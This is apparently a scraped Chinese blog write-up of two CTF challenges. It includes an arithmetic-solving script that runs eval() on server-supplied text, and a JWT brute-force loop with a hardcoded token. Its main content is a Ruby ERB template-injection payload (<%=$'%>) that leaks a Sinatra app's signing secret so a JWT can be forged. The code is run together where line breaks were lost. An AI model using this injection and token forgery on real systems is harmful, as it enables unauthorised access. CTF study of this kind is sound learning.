[SCTF2019]Flag Shop ruby REB
[GXYCTF2019]StrongestMind
计算算式1000次给flag,写一个脚本就行。重点考察正则的使用:
from time import sleepimport requests
import reurl = "http://944c02ef-5777-4072-84fa-3fabe8c45ae9.node4.buuoj.cn:81/index.php"s = requests.session()
r = re.compile(r"[0-9]+ [+|-] [0-9]+")
res = s.get(url)
for i in range(0,1001):sleep(0.1)play = r.findall(res.text)[0]result = eval(play)print(i,end=",")print(result)data = {"answer":result}res = s.post(url, data=data)res.encoding = "utf-8"print(res.text)
[SCTF2019]Flag Shop
有三个选项:buy flag需要你的JKL大于10e27,work可以增加你的JKL,大概是0-5的随机数,reset没用。
bp抓包看一下,这是work的,可以看到GET方法传了/work?name=bot&do=bot%20is%20working
,然后你的JKL就增加了。
注意/shop返回的html页面上是没有你的JKL数量的,它是又调用了/api/info去查看的
这里的cookie是一个jwt,记录你的uid和jkl。一般想法肯定是去修改cookie里的jkl,我直接修改了然后重放会报错,看来这里是需要密钥的。尝试了jwt直接破解密钥,不行。
我又尝试了用脚本不断点击work,如果不是buu上的waf限制了访问间隔说不定还真可以,我把脚本放在这里哪位勇士想的话可以尝试一下。
from time import sleep
import requestsi=0
cok="auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiI1OWYxOWU0Mi03NGFiLTQyYmMtYjhjZS0wNmZlMDY0ODE1NTkiLCJqa2wiOjE1NH0.VvXFVvRaWQVH7e0PDAOJaUkdnllTXRRaqX1Yoe5puKM"
while(i<=1000000000000000000000000001):sleep(0.2)url = "http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/work?name=bot&do=bot%20is%20working"s = requests.session()s.headers['Cookie']=cokres = s.get(url)cok=res.headers['Set-Cookie']print(res.text)s.headers['Cookie'] = cokurl1="http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/api/info"re=s.get(url1)a1=re.text.split(':')[2][:-1]i=int(a1)print(a1)print(cok)url2 = "http://8faad94e-0038-49e8-80d8-993ff1b34e56.node4.buuoj.cn:81/shop"
result = s.post(url2)
result.encoding="utf-8"
print(result.text)
看了writeup知道是robots.txt泄露filebak,源码如下:
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'set :public_folder, File.dirname(__FILE__) + '/static'FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)configure doenable :loggingfile = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")file.sync = trueuse Rack::CommonLogger, file
endget "/" doredirect '/shop', 302
endget "/filebak" docontent_type :texterb IO.binread __FILE__
endget "/api/auth" dopayload = { uid: SecureRandom.uuid , jkl: 20}auth = JWT.encode payload,ENV["SECRET"] , 'HS256'cookies[:auth] = auth
endget "/api/info" doisloginauth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
endget "/shop" doerb :shop
endget "/work" doisloginauth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }auth = auth[0]unless params[:SECRET].nil?if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")puts ENV["FLAG"]endendif params[:do] == "#{params[:name][0,7]} is working" thenauth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)auth = JWT.encode auth,ENV["SECRET"] , 'HS256'cookies[:auth] = authERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").resultend
endpost "/shop" doisloginauth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }if auth[0]["jkl"] < FLAGPRICE thenjson({title: "error",message: "no enough jkl"})elseauth << {flag: ENV["FLAG"]}auth = JWT.encode auth,ENV["SECRET"] , 'HS256'cookies[:auth] = authjson({title: "success",message: "jkl is good thing"})end
enddef isloginif cookies[:auth].nil? thenredirect to('/shop')end
end
重点是这里,用了REB模板渲染,name参数是我们可控的
if params[:do] == "#{params[:name][0,7]} is working" thenauth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)auth = JWT.encode auth,ENV["SECRET"] , 'HS256'cookies[:auth] = authERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
那么怎么样让name输出密钥呢?这里对服务器中的SECRET与我们的参数SECRET做了一次match比较(说实话我现在才知道GET还可以传SECRET)。RUBY有预定义变量$`输出上次match左边的字符串。https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html
unless params[:SECRET].nil?if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")puts ENV["FLAG"]end
因此我们构造name=<%=$'%>
,要记得转成十六进制
拿到密钥构造jwt重放,获得flag。flag也是在jwt里的。
[SCTF2019]Flag Shop ruby REB相关推荐
- [SCTF2019]Flag Shop erb模板注入
进入题目可以看到一个是要用自己的JinKela去购买flag 这种类型的题目我想到之前都是有一个jwt认证,通过伪造验证信息修改金额以达到购买的效果 点击work抓包可以发现确实有jwt(通过一段字 ...
- BUUCTF-社团考核
目录 1.[CISCN2019 华东南赛区]Web4 2.[GWCTF 2019]枯燥的抽奖 3.[NCTF2019]Fake XML cookbook 4.[SCTF2019]Flag Shop 5 ...
- [rails] 我的订餐系统 -- 小试ruby on rails(转)
前言 近期在java社区中一种新的脚本语言ruby,及用ruby开发的一个wab框架 rails也热闹了起来.引起了不少的java开发人员的关注. 本人平时还是很少接触脚本语言方面东东 ...
- 从SCTF看JWT安全 (附SCTF web writeup)
原创作者:Fz41 这两天在打SCTF,有一题涉及到JWT的简单的知识,现在来把JWT相关的知识汇总一下,虽然不是主要的考察内容,但是作为一个基础知识,还是要掌握的. JWT技术介绍 来源 用户认证的 ...
- 我的第一个纯手写jQuery插件
2019独角兽企业重金招聘Python工程师标准>>> select-os-icon.js /*** Created by Administrator on 16-7-8.* @au ...
- 第十届蓝桥杯题解(部分)
第十届蓝桥杯题解 注释:这段时间正好在写蓝桥杯的题,将部分的题目的解法和大家分享,代码中的网址是该代码蒟蒻当时参考其他大佬的题解文章所在的网址,鸣谢大佬,如有错误,欢迎各位大佬指正 有部分网址是提交答 ...
- hdu2648 shoping
题意啊,我就不说了..描述起来也麻烦.传送到hdu看吧 map的应用.开始以为只有一组数据.其实不是.. 本来是想用这道题来练习hash的.不过这题的hash貌似还有点复杂.就直接用map模拟了.. ...
- Best of Ruby Quiz 笔记之一:Mad Libs
我想读<Best of Ruby Quiz>并实践里面的内容是熟悉ruby的一个好方法,那么让我从今天开始,每天都用ruby来quiz一下. 几点说明:1.我是ru ...
- 如何在Mac OSX Yosemite中将Ruby版本2.0.0更新到最新版本?
本文翻译自:How to update Ruby Version 2.0.0 to the latest version in Mac OSX Yosemite? I need to update m ...
最新文章
- 一个云本地文件包含漏洞,影响世界一流公司
- 三十七、Prim算法--求解最小生成树
- 浅谈Java throw, throws, try catch异常处理
- linux ubuntu 安装 nodejs npm
- 蚂蚁的难题(一) http://acm.nyist.net/JudgeOnline/status.php?pid=744
- 第四十四章 微服务CICD(6)- gitlab + jenkins + docker + k8s
- Gartner:2022年全球IT支出将超4万亿美元,软件增速最高
- Nodejs基础01
- win10家庭版无法安装mysql_Win10安装MySQL
- 通过拦截器获取控制类requestMapping注解中的属性值
- 答寒冬的面试题(1)
- 限时,字节Java程序性能优化宝典大全,这才叫真正的性能优化
- 一篇文章掌握Egg.js的核心用法
- 史上最完美将windows键盘映射成mac键盘,绝对不需要买HHKB了
- 传奇3便捷架设管理工具-BY来世今生
- Android 页面Scheme配置
- iSlide(PPT插件) V3.4.5
- 朱棣文2009年哈佛大学演讲:未来并非在劫难逃
- 解决Android 8.1 获取不到wifi名称
- 南研所前辈对华为的认识